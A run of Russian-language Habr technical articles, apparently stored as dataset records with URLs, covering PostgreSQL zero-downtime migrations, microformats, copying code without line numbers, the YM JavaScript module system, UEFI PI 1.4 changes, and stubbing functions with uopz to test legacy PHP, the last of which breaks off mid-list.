`ALTER TABLE ALTER COLUMN DROP NOT NULL`, `ALTER TABLE ALTER COLUMN SET DEFAULT`, `ALTER TABLE ALTER COLUMN DROP DEFAULT` — безопасные операции.
Создание и удаление индексов и констрэйнтов
-------------------------------------------
`ALTER TABLE ADD CONSTRAINT CHECK` и `ALTER TABLE ADD CONSTRAINT FOREIGN KEY` — небезопасные операции, но их можно объявить как `NOT VALID` и потом сделать `ALTER TABLE VALIDATE CONSTRAINT`.
`ALTER TABLE ADD CONSTRAINT PRIMARY KEY` и `ALTER TABLE ADD CONSTRAINT UNIQUE` небезопасные, так как внутри создают уникальный индекс, но можно создать уникальный индекс как `CONCURRENTLY`, потом создать соответствующий констрэйнт используя уже готовый индекс, через `USING INDEX`.
`CREATE INDEX` — небезопасная операция, но индекс можно создать как `CONCURRENTLY`.
`ALTER TABLE DROP CONSTRAINT CHECK`, `ALTER TABLE DROP CONSTRAINT FOREIGN KEY`, `ALTER TABLE DROP CONSTRAINT PRIMARY KEY`, `ALTER TABLE DROP CONSTRAINT UNIQUE`, `DROP INDEX` — безопасные операции.
Стоит отметить, что `ALTER TABLE ADD CONSTRAINT FOREIGN KEY` и `ALTER TABLE DROP CONSTRAINT FOREIGN KEY` делают блокировку сразу двух таблиц.
Применяем знания в django
-------------------------
Django имеет операцию в миграциях для выполнения любого SQL: <https://docs.djangoproject.com/en/2.1/ref/migration-operations/#django.db.migrations.operations.RunSQL>. Через него можно задавать нужные таймауты и применять альтернативные операции для миграций, с указанием `state_operations` — миграции, которую мы заменяем.
Это работает хорошо для своего кода, хотя требует дополнительной писанины, но можно оставить грязную работу на db backend, например, <https://github.com/tbicr/django-pg-zero-downtime-migrations/blob/master/django_zero_downtime_migrations_postgres_backend/schema.py> собирают описанные практики и заменят небезопасные операции безопасными аналогами, причём это будет работать и для сторонних библиотек.
Напоследок
==========
Данные практики позволили мне получить идентичную схему, создаваемую django из коробки, за исключением замены констрэйнта `CHECK IS NOT NULL` вместо `NOT NULL` и имён некоторых констрэйнтов (например для `ALTER TABLE ADD COLUMN UNIQUE` и альтернатива). Ещё одним компромиссом может быть отсутствие транзакционности для альтернативных операций миграций, особенно где фигурирует `CREATE INDEX CONCURRENTLY` и `ALTER TABLE VALIDATE CONSTRAINT`.
Если не выходить за рамки postgres, то вариантов изменения схемы данных может быть много, причём они могут разнообразно сочетаться под конкретные условия:
* использование jsonb как schamaless решение
* возможность сходить в даунтайм
* требование делать миграции без даунтайма
В любом случае надеюсь что материал оказался полезен либо для повышения аптайма, либо для расширения сознания. | https://habr.com/ru/post/425063/ | null | ru | null |
# Микроформаты в профиле хабрапользователя
Сделал [тестовую страницу](http://webmascon.com/max/futurico/microformatted-habraprofile/). Под катом описание моих действий.
**ВНИМАНИЕ!** Я дописываю и дополняю описание вот прямо сейчас, когда вы это читаете, так что не удивляйтесь появлению новых абзацев.
С новой строки не жаль новой начать строкой
-------------------------------------------
Итак, «Хабр» сверстали блоками. Отличный повод начать внедрять в него микроформаты. Заодно почищу тот код, с которым буду иметь дело. Именно такая мысль посетила меня несколько дней назад. Скачал страницу своего профиля, адаптировал её к работе на локальном компьютере (поправил пути к файлам изображений, стилей и т.п.), и приступил к осмотру поля боя.
### Наши новые профайлы
Прежде чем править код сайта, который писан не вами, хорошо бы изучить его характерные особенности. Итак, что мы видим, глядя внутрь текущей версии страницы хабрапользователя:
* Страница свёрстана блочно (хорошо, но можно и лучше)
* DOCTYPE'ом включен режим соответствия стандартам (то, что надо)
* У элементов не обнулены поля и отступы «по умолчанию» (жаль, придётся обнулять самому)
* Код местами лихорадочно отбит пробелами, а потому тяжеловесен и плохочитаем
Пролистав шапку, меню и т.п. принялся изучать содержимое блока с *class=«userinfo»* — именно он содержит информацию о пользователе. Ему я и назначу дополнительный класс *vcard*. Это будет указывать на то, что в блоке содержится микороформат hCard.
Порции иформации о пользователе сейчас содержатся внутри типовых конструкций такого вида:
`Максим Россомахин`
Я знаю, как сделать более компактно и более семантично. Использую списки определний, сразу же начав насыщать их подходящими по контексту микроформатирующими классами. Отбивку тегов сделаю табуляцией. Так и наглядней, и быстрее, и веса меньше.
В примерах я убрал всю служебную информацию, мешающую восприятию (в основном URL-ы), заменив её троеточиями (…).
`Максим Россомахин`
Этот код указывает, что внутри него содержится информация об имени и фамилии персоны.
Идём далее. Описываем информацию о дате рождения:
`Дата рождения:
title="1982-01-26">26 января 1982`
Описываем ссылку на фотографию:
`Фото:
![]()class="photo" src="…" width="136" height="144" alt="" title="" border="0">`
Настал черёд информации о местоположении пользователя:
``Откуда:
class="country-name" href="…">Россия,
class="region" href="…">Архангельская обл.
Собственно информация о пользователе, которую он сам считает нужным сообщить о себе:
О себе:
"summary">Рассказ обо мне, любимом`
Сайт. Какой же IT-шник без сайта? Обратите внимание на то, что помимо класса *"url"* я применил также и атрибут *rel* со значением *"me"* — это говорит о том, что ссылка ведёт на сайт пользователя, профайл которого мы читаем. Т.е. прямое соответствие конкретного пользователя конкретному сайту. И этот код — не что иное, как микроформат XFN, органично дополняющий микроформат hCard.
`Сайт:
"url">rel="me" href="http://webmascon.com/" target="\_blank">Webmascon`
**Продолжение следует**.` | https://habr.com/ru/post/10601/ | null | ru | null |
# Копируем исходный код без нумерации строк
Бывает при выводе информации требуется ее декорировать для лучшего восприятия, нередко оформление сопровождается в том числе и текстом. При выделении и копировании этой информации, оформление копировать не нужно, т.к. нужна только сама информация, и желательно в исходном виде. То есть при копировании часть выделенного текста не должна попадать в буфер обмена.
В моем случае это исходный код, который сопровождается нумерацией строк, так нагляднее и есть возможность сослаться на строку кода. Однако, если мы хотим скопировать часть кода, то он должен копироваться без номера строки.
Многие highlighter'ы этим грешат, при копировании кода копируют в том числе и номера строк. Выходят из ситуации по разному: либо используют хитрую верстку, при которой возможно несовпадении нумерации со строками (можно заметить на github например), или используют специальную кнопку, которая показывает в отдельном окне код без форматирования. Мне показались эти подходы неудовлетворительными, потому решил найти другое решение.
В данной заметке я опишу решение, к которому в итоге пришел. Решение, конечно, частное, но может кому то оказаться полезным в решении собственных задач.
Начнем с того, что кратко пройдемся по возможным вариантам решения.
#### Способ первый, очевидный.
Самый простой и очевидный способ, это сделать нумерованный список, где каждый элемент списка это отдельная строка. Основной плюс у этого подхода: все просто и не нужно задумываться даже о нумерации. Но при этом нельзя управлять форматом нумерации, нельзя позиционировать маркер (номер строки) и вообще как-то его декорировать. К тому же Internet Explorer и Firefox копируют текст вместе с маркером.
Собственно проблема с копированием перечеркивает возможность использования этого подхода.
#### Второй способ, менее очевидный.
Второе что приходит на ум — использовать генерируемый контент. Можно даже смирится с тем, что в старых IE это не будет работать (на этот случай можно, конечно, сделать fallback). Но беда в том, что Internet Explorer и Opera копируют весь видимый текст, в том числе и генерируемый контент.
Сложно сказать правы ли разработчики Internet Explorer/Opera или же правы разработчики webkit и Firefox относительно копирования генерируемого контента. Одно можно сказать с уверенностью, что метод не подходит.
#### Небольшая ремарка
В webkit и Firefox поддерживаются такое свойство CSS как user-select (со своими префиксами -webkit-user-select и -moz-user-select), с помощью которых можно запретить выделять текст. В Internet Explorer'е есть html атрибут unselectable. Однако все это лишь предотвращает начало процесса выделения, то есть если текст все же попал в область выделения, то он будет скопирован.
Более того, все блоки попавшие в область выделения, даже невидимые (display: none; или visibility: hidden;) так же в итоге попадают в буфер обмена.
Все это весьма печально, так как нет нормального способа определить — какой текст нужно копировать, а какой нет.
#### Способ третий, ненормальный.
Блуждая по интернетам в поисках решения, что-то навело на мысль использовать для вывода декоративного текста. Да-да, поле ввода для вывода текста. Необходимый текст прописываем в значение value, убираем padding, margin, border, background, задаем остальные стили — и никто не скажет что это input. Выделяем наш текст, копируем, вставляем в блокнот — все браузеры ведут себя одинаково, теги с содержимым не вставляются.
Остается побороть неприятный момент, поле ввода может получать фокус, и нельзя начать выделение текста с нумерации — выделяется текст поля. Но это уже, на самом деле, мелочи.
Чтобы нельзя было передать полю фокус мышкой в webkit и Firefox есть приятность — это CSS свойство pointer-events, которому можно задать значение none. Для Internet Explorer'а можно добавить для поля атрибут unselectable=«on». С Opera пока никак.
Чтобы нельзя было передать фокус с клавиатуры (и другими способами) добавляем для атрибуты readonly и tabindex="-1".
В Firefox и webkit все отлично, но в Internet Explorer нельзя начать выделение начиная с области нумерации, а в Opera по прежнему выделяется текст поля, а не исходный код. Чтобы решить проблему добавим для каждого дополнительный блок, который будет перекрывать . Этот блок должен иметь те же размеры, что и , а так же быть прозрачным. К сожалению (или к счастью), если если блок не имеет фона, то он «простреливается», то есть ведет себя как будто его нет, потому ему нужно добавить background. Можно добавить либо прозрачный gif файл, либо просто путь к несуществующему файлу, например background: url(#); (можно было бы использовать rgba(), но в IE это поддерживается только начиная с 9й версии).
Вот, в принципе, и все.
В итоге имеем следующий html для блока с исходным кодом (переводы строк для наглядности, целевой html должен быть без них, иначе можем получить ненужные переводы строк при копировании):
```
.. текст ..
...
...
```
И CSS для этого «безобразия»:
```
.code
{
border: 1px solid #E0E0E0;
padding: 1px;
margin: 0 1ex;
overflow: hidden;
font-family: Consolas, monospace;
font-size: 100%;
color: black;
line-height: 1.4em;
white-space: pre; /* важно чтобы сохранялись переносы */
}
.line
{
position: relative; /* для webkit, иначе при начале выделения с нумерации будет
выделяться текст с самого начала блока */
zoom: 1; /* для IE6/7 */
white-space: pre; /* важно чтобы сохранялись переносы в IE7 */
}
.even
{
background: #F8F8F8;
}
.odd
{
background: #F0F0F0;
}
.lineNumber
{
display: block;
position: absolute;
left: 0;
padding: 0 .5ex;
margin: 0;
width: 6ex;
line-height: 1.4em;
height: 1.4em;
background: none;
border: none;
font-family: Consolas, monospace;
font-size: 100%;
text-align: right;
color: #666;
-moz-user-select: none; /* задаем user-select для Firefox & webkit, чтобы
блок не попадал в область выделения*/
-webkit-user-select: none;
user-select: none;
pointer-events: none; /* фактически это свойство делает ненужным блок .over,
но пока оно поддерживается только в Firefox & webkit */
}
.over
{
display: block;
position: absolute;
left: 0;
width: 7ex;
height: 1.4em;
z-index: 1;
background: url(.); /* для IE и Opera, иначе блок будет "простреливаться"
(пропускать события мыши нижележащим блокам) */
}
.lineContent
{
margin-left: 7ex;
padding-left: 2ex;
border-left: 2px solid #33BB66;
display: block;
white-space: pre-wrap; /* сохраняем форматирование, но оставляем возможность переносить по словам */
}
.token-string
{
color: blue;
}
.token-comment
{
color: #008200;
}
.token-keyword
{
color: #006699;
font-weight: bold;
}
```
#### Демо
[Демо](http://basis.et-lab.ru/habrahabr/copy/index.html) на примере исходного кода [atomjs](https://github.com/theshock/atomjs/blob/master/Source/Core.js) (надеюсь [TheShock](https://habrahabr.ru/users/theshock/) не против ;)
Html-кода много, но он генерируется javascript'ом (свой highlighter).
Тестировалось под Chrome/Safari, Firefox 3.6, Opera 11, IE7-9 (переключением режимов в IE9 RC).
#### На что стоит обратить внимание
* Решение использует только возможности HTML и CSS, без спец хаков для браузеров.
* webkit впереди планеты всей, лучше всего работает в браузерах на его движке, можно сказать идеальный сценарий.
* Для Firefox пробелы в начале строк нужно заменять на иначе при копировании они будут вырезаться.
* В Opera текст начинает выделятся только если курсор мыши находится непосредственно над текстом. Начать выделение можно и с нумерации, но фактически текст начнет выделяться только когда курсор окажется над текстом.
* Важна вложенность свойства white-space. В данном случае ключевыми блоками является .code -> .line -> .lineContent, поэтому рабочим будет цепочка pre -> pre -> pre-wrap и, возможно, другие варианты (нужно проверять). От заданых значений зависит как браузер будет трактовать блоки при преобразовании в текст; при определенных значениях браузер может любой блочный элемент (display: block) выделять в отдельную строку текста, при этом могут получиться пустые строки между строками текста или же игнорировать переносы (например, IE7 может копировать весь текст одной строкой).
* ~~При вставке в редактор, который понимает text/html (например, MS Word), так же вставятся поля. Момент неприятный, но чаще редакторы не понимают text/html, так что переживать не стоит.~~
Буду рад замечаниям и советам по улучшению.
UPDATE
Найден workaroud чтобы при вставке в Word/Excel не вставлялись поля ввода. Чтобы этого добиться для нужно задать несуществующее значение атрибута type. В таком случае браузеры игнорируют атрибут и поле имеет тип по умолчанию, то есть type=«text», а при копировании (или вставке) не описаны сценарии как поступать с полями неизвестного типа — в итоге поле игнорируется. Так что код можно спокойно вставлять, например, в Word. При этом если код копируется из Chrome/Safari или из IE, то он будет вставлен с раскраской (webkit так же копирует и фон, а IE копирует без фона), что может в ряде случаев может оказаться полезным. | https://habr.com/ru/post/114322/ | null | ru | null |
# Модульная система YM
Еще одна? Зачем? Есть же CommonJS и AMD? Страждующие могут пройти под кат.
Я не буду вдаваться в то, зачем вообще нужны модули и модульные системы, про это есть статья [Путь JavaScript модуля](http://habrahabr.ru/post/181536/) от [azproduction](https://habrahabr.ru/users/azproduction/), перейдем сразу к главному: зачем еще одна модульная система? Ведь есть уже и CommonJS, и AMD. Но у них обеих есть один недостаток, который для большинства проектов, в которых я участвую, является если ни фатальным, то очень уж неудобным — они, так или иначе, в большей или меньшей степени, являются синхронными. И у нас часто возникали ситуации, когда нужно было придумывать и писать костыли, позволяющие обходить этот недостаток.
Рассмотрим простой пример: у нас есть модули *moduleA*, *moduleB*, *moduleC*, причем последний зависит от двух предыдущих.
Для начала, напишем код, описывающий эти модули, для всех трех модульных систем: CommonJS, AMD, YM.
##### CommonJS
*moduleA.js:*
```
module.exports = 'A';
```
*moduleB.js:*
```
module.exports = 'B';
```
*moduleC.js:*
```
var moduleA = require('A'),
moduleB = require('B');
module.exports = moduleA + moduleB + 'C';
```
Подключение и использование:
```
var moduleC = require('C');
console.log(moduleC); // prints "ABC"
```
##### AMD
*moduleA.js:*
```
define('A', function() {
return 'A';
});
```
*moduleB.js:*
```
define('B', function() {
return 'B';
});
```
*moduleC.js:*
```
define('С', ['A', 'B'], function(moduleA, moduleB) {
return moduleA + moduleB + 'C';
});
```
Подключение и использование:
```
require(['С'], function(moduleC) {
console.log(moduleC); // prints "ABC"
});
```
##### YM
*moduleA.js:*
```
modules.define('A', function(provide) {
provide('A');
});
```
*moduleB.js:*
```
modules.define('B', function(provide) {
provide('B');
});
```
*moduleC.js:*
```
modules.define('C', ['A', 'B'], function(provide, moduleA, moduleB) {
provide(moduleA + moduleB + 'C');
});
```
Подключение и использование:
```
modules.require(['С'], function(moduleC) {
console.log(moduleC); // prints "ABC"
});
```
Пока ничего интересного. Все три примера эквивалентны. Теперь, обратите внимание на одну деталь в YM-модулях — в callback-функцию декларации модуля передается некая функция *provide*. Особо непонятно зачем она там, но теперь представим себе ситуацию, когда модули *moduleA* и *moduleB* не могут разрезолвиться сразу же, синхронно (как того требуют и CommonJS и AMD), что для этого им нужно выполнить какое-то асинхронное действие. Для упрощения, пусть это будет `setTimeout`. С помощью YM, предыдущий пример может быть легко переписан следующим образом (что невозможно выразить ни средствами CommonJS, ни AMD, хотя в последней даже в названии присутствует слово *Asynchronous*, но оно влияет только на способ декларации и способ реквайринга модуля):
*moduleA.js:*
```
modules.define('A', function(provide) {
setTimeout(function() {
provide('A');
});
});
```
*moduleB.js:*
```
modules.define('B', function(provide) {
setTimeout(function() {
provide('B');
});
});
```
*moduleC.js:*
```
modules.define('C', ['A', 'B'], function(provide, moduleA, moduleB) {
provide(moduleA + moduleB + 'C');
});
```
При этом, заметим, что сам *moduleC* вообще ничего не знает об асинхронной природе *moduleA* и *moduleB*. Profit.
##### Пример из жизни
От синтетического примера перейдем к реальному. В проектах мы используем API Яндекс.Карт, которое в принципе не умеет грузиться синхронно (внутри оно использует многостадийную загрузку). Это значит примерно то, что невозможно просто написать и надеяться на то, что все последующие мои скрипты уже смогут работать с готовым апи. Для начала работы необходимо дождаться события `ymaps.ready`. Наш проект достаточно сложный, и мы используем достаточно много наследований от базовых классов из апи. Рассмотрим на примере одного из них. У нас есть наш собственный класс слоя ComplexLayer, который мы хотим отнаследовать от базового слоя из ymaps: `ymaps.Layer`. С помощью YM это делается просто: мы определяем модуль ymaps, который загружает апи, затем дожидается нужного события (ymaps.ready) и после этого провайдит себя. Все модули, которые зависели от модуля апи (ymaps), начинают свой резолвинг только после этого. Таким образом, наши модули, опять же, ничего не знают об асинхронной природе API Яндекс.Карт. Никаких костылей в коде!
ymaps.js:
```
modules.define(
'ymaps',
['loader', 'config'],
function(provide, loader, config) {
loader(config.hosts.ymaps + '/2.1.4/?lang=ru-RU&load=package.full&coordorder=longlat', function() {
ymaps.ready(function() {
provide(ymaps);
});
});
});
```
Код модулей *loader* и *config* здесь не приводится: первый умеет загружать скрипты по урлу, второй — просто хэш констант.
ComplexLayer.js:
```
modules.define('ComplexLayer', ['inherit', 'ymaps'], function(provide, inherit, ymaps) {
var ComplexLayer = inherit(ymaps.Layer, ...);
provide(ComplexLayer);
});
```
Точно так же мы поступаем, если нам, например, нужна зависимость от jQuery.
Определяем модуль *jquery*:
```
modules.define(
'jquery',
['loader',
function(provide, loader) {
loader('//yandex.st/jquery/2.1.0/jquery.min.js', function() {
provide(jQuery.noConflict(true));
});
});
```
И используем зависимость от модуля *jquery* во всех остальных модулях.
Таким образом, весь код нашего проекта представляет собой только модули, никаких глобальностей, никаких договоренностей о порядке подключения других скриптов (в том числе сторонних) или других модулей, никаких костылей про асинхронность.
В окончание, привожу апи нашей модульной системы YM (на самом деле там несколько больше методов, здесь приводятся только основные):
###### Объявление модуля
```
void modules.define(
String moduleName,
[String[] dependencies],
Function(
Function(Object objectToProvide) provide,
[Object resolvedDependency, ...],
[Object previousDeclaration]
) declarationFunction
)
```
###### Подключение модуля
```
void modules.require(
String[] dependencies,
Function(
[Object resolvedDependency, ...]
) callbackFunction
)
```
Репозиторий проекта: [github.com/ymaps/modules](https://github.com/ymaps/modules) | https://habr.com/ru/post/213627/ | null | ru | null |
# Что новые версии UEFI-стандартов нам готовят, часть первая, PI 1.4
После полугода разработки организация [UEFI Forum](http://uefi.org/) выложила наконец в открытый доступ [документацию](http://uefi.org/specifications) по новым стандартам Platform Initialization 1.4, Advanced Configuration and Power Interface 6.0 и Unified Extensible Firmware Interface 2.5, на базе которых сейчас разрабатывается абсолютное большинство прошивок для ПК и серверов.
Обычно между выпуском новых версий стандартов и первыми прошивками на их базе проходит обычно от 4 до 6 месяцев, но уже сейчас можно предсказать с высокой долей вероятности, какие именно новые возможности появятся в UEFI для платформ на базе процессоров Intel Skylake и AMD Falcon Series.
Я решил разделить описание новшеств на 3 части, иначе оно рискует оказаться очень длинным и читать его никто не станет. Если вас интересуют новшества, описанные в стандарте PI 1.4 и мои комментарии к ним — добро пожаловать под кат.
#### **Очень короткое введение**
Если вдруг вас пугает незнакомая терминология или вы не можете понять, о чем тут вообще речь, прочтите [вот эту мою статью](http://habrahabr.ru/post/185764/) и возвращайтесь.
Возможно, обычному человеку будут малоинтересны описания новых PPI и протоколов, тем более, что их можно взять и прямо из документации, поэтому я постараюсь разбавить скучное перечисление изменений комментариями о том, для чего они могут понадобится разработчику UEFI и чем грозят его пользователям.
#### **UEFI Forum рассказывает и показывает**
Совместно в документацией UEFI Forum опубликовал [вот этот пресс-релиз](http://uefi.org/sites/default/files/press_releases/UEFI%20Memory%20Specs%20Release%20Final_Apr%2030.pdf), от которого после очистки от маркетингового буллшита остается следующее:
**Все стандарты**
* NVM support: поддержка оперативной памяти, сохраняющей данные при выключении машины, так называемой [NVDIMM](http://www.eetimes.com/document.asp?doc_id=1326739).
**PI 1.4*** Graphics PPI: запуск графическую подсистему во время фазы PEI.
* Multi-processor PPI: инициализация всех доступных процессоров и ядер во время фазы PEI.
* Capsule PPI: обнаружение образов с обновлениями в формате UEFI Capsule, сборка их в непрерывную область памяти и передача в фазу DXE.
* No Execute Support: защита прошивки от скомпрометированного гипервизора/ОС.
**ACPI 6.0**:
* CPU Topology Recognition: определение топологии CPU, позволяет точнее управлять компонентами SoC и снизить их энергопотребление.
* Source Language Evolution: улучшения синтаксиса языка ASL, на котором пишутся обработчики вызовов ACPI.
**UEFI 2.5**:
* Boot From HTTP: новый способ загрузки по сети, пришедший на смену PXE.
* Platform Recovery: новый стандарт на способы восстановления целостности прошивки при невозможности загрузки системы.
* Connectivity Support: поддержка технологий Bluetooth и Wi-Fi/EAP2.
* High Assurance Enterprise Replacement: новая система автоматического разворачивания обновлений.
Все это замечательно, конечно, но не очень информативно, да и список изменений далеко не полный, поэтому мы пойдем другим путем. Пусть заключается в том, чтобы при помощи утилиты Beyond Compare сравнить 7 PDF-файлов старого стандарта с соответствующими файлами нового, найти все значимые изменения и понять, зачем они нужны и чем грозят. Приступим.
#### **Изменения в Platfrom Initialization**
Стандарт на PI состоит из 5 томов, описывающих фазы PEI, DXE, SMM, общие архитектурные элементы прошивки и протоколы взаимодействия с оборудованием. Пройдемся по изменениям в них в порядке возрастания номера.
##### **Volume 1. Pre-EFI Initialization**
###### **ResetSystem2**
В EFI\_PEI\_SERVICES добавлена новая функция ResetSystem2 и соответствующий ей PPI. От обычной ResetSystem и ее PPI новая функция отличается параметрами и имеет следующую сигнатуру:
```
VOID ResetSystem2 (IN EFI_RESET_TYPE ResetType,
IN EFI_STATUS ResetStatus,
IN UINTN DataSize,
IN VOID *ResetData OPTIONAL);
```
Тип может принимать одно из следующих значений: EfiResetCold, EfiResetWarm, EfiResetShutdown, EfiResetPlatformSpecific, где *EfiResetCold* — «холодная» перезагрузка, т.е. сброс и повторная инициализация процессора, чипсета и всего, что к ним подключено, *EfiResetWarm* — «мягкая» перезагрузка, т.е. сброс только процессора, *EfiResetShutdown* — выключение машины, а *EfiResetPlatformSpecific* — тип сброса определяется GUIDом, переданным в ResetData.
Полезная функция, особенно радует возможность выполнить Shutdown прямо из PEI (раньше приходилось городить платформозависимые костыли) и передать статус сброса (т.е. штатный он или нет, а если нет, то почему произошел).
###### **SEC Platform Information 2 PPI**
Новый PPI для получения информации не только о BSP, об остальных процессорах и ядрах. Понадобится для PPI ниже.
###### **EFI MP Services PPI**
PPI для ранней инициализации всех процессоров и ядер. Позволит уже в PEI инициализировать и использовать несколько ядер.
###### **PEI Recovery Block IO 2 PPI**
Новый драйвер блочных устройств для режима восстановления PEI. Может быть использован для реализации стандартного механизма PEI Recovery, сейчас каждый вендор придумывает что-то свое, и почти всегда это свое работает из рук вон плохо. Посмотрим, какой получится ли стандартная реализация.
###### **PEI Capsule PPI**
PPI для сборки нескольких обновлений в формате UEFI Capsule в одну непрерывную область памяти и передачи этой области в DXE-драйвер, который и проведет обновление. Позволит реализовать обновление прошивки по частям, не связываясь при этом с Intel BiosGuard и подобными вендор-специфичными решениями.
##### **Volume 2. Driver Execution Environment Core Interface**
###### **Новые типы EfiGcdMemory**
UEFI составляет для себя и ОС карту памяти, которая заполняется функцией AddMemorySpace(), выглядящей вот так:
```
EFI_STATUS AddMemorySpace(IN EFI_GCD_MEMORY_TYPE GcdMemoryType,
IN EFI_PHYSICAL_ADDRESS BaseAddress,
IN UINT64 Length,
IN UINT64 Capabilities);
```
Первым параметром указывается тип добавляемой области памяти, который выбирается из следующих вариантов:
```
typedef enum {
EfiGcdMemoryTypeNonExistent,
EfiGcdMemoryTypeReserved,
EfiGcdMemoryTypeSystemMemory,
EfiGcdMemoryTypeMemoryMappedIo,
EfiGcdMemoryTypePersistent,
EfiGcdMemoryTypeMoreReliable,
EfiGcdMemoryTypeMaximum
} EFI_GCD_MEMORY_TYPE;
```
Предпоследние два типа, Persistent и MoreReliable, были добавлены в этом обновлении.
Тип Persistent будет использоваться для NVDIMM и других non-volatile хранилищ, отображенных напрямую в адресное пространство BSP, а тип MoreReliable — для «более надежной» памяти, например, для локальной памяти BSP, являющегося частью NUMA-кластера.
Вместе с добавлением двух новых типов памяти появились соответствующие им атрибуты EFI\_RESOURCE:
```
EFI_RESOURCE_ATTRIBUTE_PERSISTENT
EFI_RESOURCE_ATTRIBUTE_PERSISTABLE
EFI_RESOURCE_ATTRIBUTE_MORE_RELIABLE
EFI_RESOURCE_ATTRIBUTE_READ_ONLY_PROTECTED
EFI_RESOURCE_ATTRIBUTE_READ_ONLY_PROTECTABLE
```
Описывать их я не буду, ибо имена говорят сами за себя.
В остальных томах важных изменений нет вообще, лишь пара новых GUIDов для новых PPI и исправления очепяток.
#### **Заключение**
Изменения, на первый взгляд, положительные, но немного пугающие.
Дело в том, что написание PEI-модулей — занятие весьма нетривиальное из за специфических требований к ним, а отладка таких модулей (особенно тех, которые выполняются до инициализации оперативной памяти) — еще нетривиальнее, и потому хотелось бы иметь минимальное количество кода в PEI (просто по принципу меньше кода — меньше багов). Я понимаю, зачем в стандарт добавили PPI для графики и многоядерности, и они добавлены в качестве опциональных, но это мне придется реверсить глючный PEI-модуль видеокарты, чтобы понять, какого черта он не работает, и а про последствия внезапного появления многопоточности там, где ее не было и не планировалось я предпочту промолчать. Будем надеяться, что эти опциональные PPI просто никто не реализует и они так и останутся на бумаге.
О новшествах стандарта ACPI 6.0 — во второй части, об UEFI 2.5 — в третьей.
Спасибо за внимание и безглючных вам прошивок.
**P.S.**
Внимательный читатель уже заметил, что о поддержке NX, которую рекламируют в пресс-релизе, ничего так и не было сказано, но это потому, что она не является частью стандарта, а [реализована отдельно благодаря работе инженеров Phoenix](http://www.uefi.org/sites/default/files/resources/UEFI_Plugfest_May_2015%20Firmware%20-%20Securing%20SMM.pdf). Реализовано грамотно, будем надеяться на скорейшее внедрение. | https://habr.com/ru/post/259051/ | null | ru | null |
# Как протестировать наследство без боли и страха
Вы получили или пришли на проект, которому *d+*дцать лет? PHP код был написан в перерывах между охотой на мамонтов и поэтому слегка не читаем? Вам предстоит это как минимум сапортить, как максимум — рефакторить или переписывать?
Если у вас после этих вопросов не участилось дыхание или пульс — проходите мимо, эта статья для тех, кто уже бывал жертвой таких издевательств или предчувствует такой поворот судьбы.
Речь пойдет об одной конкретной задаче, типичной для этой ситуации — покрытии юнит тестами legacy-кода перед его рефактором или изменением. А именно — создание заглушек (моканье, симулирование, etc) для функций и/или методов «на лету».
Хочу предложить решения для следующих двух, как по мне — основных, проблем:
### 1. Последовательный return для функции-заглушки
```
public function getSomething($param1, $param2)
{
$result1 = mysql_query('SELECT * FROM table1');
// ...
if ($result1['field'] == $param1) {
$result2 = mysql_query('SELECT * FROM table2');
}
// ...
if ($result2['field'] == $param2) {
$result3 = mysql_query('SELECT * FROM table3');
}
// ...
return isset($result3) ? $result3 : $result2;
}
```
Чтобы покрыть тестом такой код — есть несколько вариантов:
* Рефактор, вынос запросов, написание абстракции, *PDO* и тд. Идеально было бы, но покрыть нужно **до** рефактора, чтобы убедится, что **после** — все будет работать так же;
* Mock базы данных. Можно сделать копию базы, «подсунуть» нужные записи. Но что, если таблиц и полей в них десятки, а запросы немного более сложные, чем 2-3 join-а? Дебаг и фабрикация нужных данных может занять дни;
* Использовать *runkit* или *uopz*. Пожалуй, наиболее приемлемый подход в этой ситуации. Но как сделать разный результат для каждого вызова?
### 2. Выполнение кода, не влияющего на тестируемую функцию
```
public function sendSomething(array $data)
{
$ch = curl_init();
$result = mysql_query('SELECT url FROM info WHERE id = ' . $data['someId']);
curl_setopt($ch, CURLOPT_URL, $result['url']);
curl_setopt($ch, CURLOPT_POSTFIELDS, implode('&', $data);
// ...
curl_exec($ch);
}
public function myMethod()
{
$data = SomeCLass::getSomeData();
// ...
$data = OtherClass::modifyData($data);
// ...
// еще сотня-другая кода, влияющего на содержание массива $data
// ...
$this->sendSomething($data);
// ...
return $completelyOtherVariable;
}
```
Варианты:
* Фиктивный локальный url? Но тогда его нужно «положить» в базу, да и другим членам команды придется поднять такой же локальный хост или коммитить скрипт в доступной «миру» директории текущего хоста… Не самый правильный подход, imho;
* Переопределить *mysql\_query* и *curl\_exec* через *runkit* или *uopz*. Да, но как же узнать, что вообще попало в *$data*?
* Переопределить весь метод *sendSomething*, анонимку «за-*bind*-ить» в текущую область видимости и посмотреть, что там
Примеры, в основном, «притянуты за уши», но в той или иной степени схожести, по крайней мере в моей практике, такие ситуации встречаются. Да и так нагляднее.
Скорее всего, наиболее безболезненно все это пройдет если выбрать вариант #3 в обоих случаях. Нужно только определиться, что использовать, *runkit* или *uopz*? Для меня ответ очевиден потому, что писать php-код в строку и передавать его как параметр — извращение.
Основная функция, которую мы используем, но не нативно:
```
void uopz_function ( string $class , string $function , Closure $handler [, int $modifiers ] )
```
Она предельно проста. Мы сообщаем данные функции, которую собираемся переопределить и передаем анонимную функцию, которая будет выполнена вместо исходной. Так же там можно «поиграть» с областью видимости функции, но сейчас не об этом.
На этом можно было бы остановиться, потому что любой middle+ программист уже примерно понял, что делать дальше, а junior-у вряд ли поручат такую задачу ввиду высокой вероятности суицида.
Эта статья предназначена только лишь немного ускорить работу каторжника и сделать его код чуть более читабельным и коротким.
Поэтому, хочу предложить вам 2 вещи:
1. Святая война на тему: «где, как и когда правильно использовать trait-ы»;
2. Trait-обертка для *uopz*, где реализовано несколько удобных методов
Дублировать весь код я не буду, просто оставлю [здесь](https://github.com/jced-artem/uopz) ссылку на github. И для удобства кратко перечислю его методы.
```
uopzFlags($function, $flags); // изменяет флаги
uopzRedefine($constant, $value); // переопределяет константу
uopzFunction($function, Closure $closure, $backup = false); // аналог "чистой" uopz_function за исключением того, что умеет backup-ить и принимать имя функции или метода: 'mysql_query' или ['ClassName', 'methodName']
uopzMuteFunction($function, $backup = false); // просто блокирует выполнение чего-либо, например, если вы не хотите, чтобы какой-то метод отправил письмо при ошибке, или curl не "дергал" url, etc
uopzRestore($function); // восстановление функции из backup-а
uopzBackup($function); // backup функции/метода (удобнее это делать при переопределении)
uopzFunctionSimpleReturn($function, $return, $backup = false); // простая подмена возвращаемого значения. return может быть скаляром, объектом (будет возвращен клон) или анонимной функцией.
uopzFunctionReplace($function, $replace, $backup = false); // замена одной функции другой.
uopzFunctionConsistentReturn($function, array $return, $backup = false); // последовательная замена возвращаемого значения. Нужна в тех случаях, когда точно известна последовательность вызова. Например, если функция вызывается в цикле.
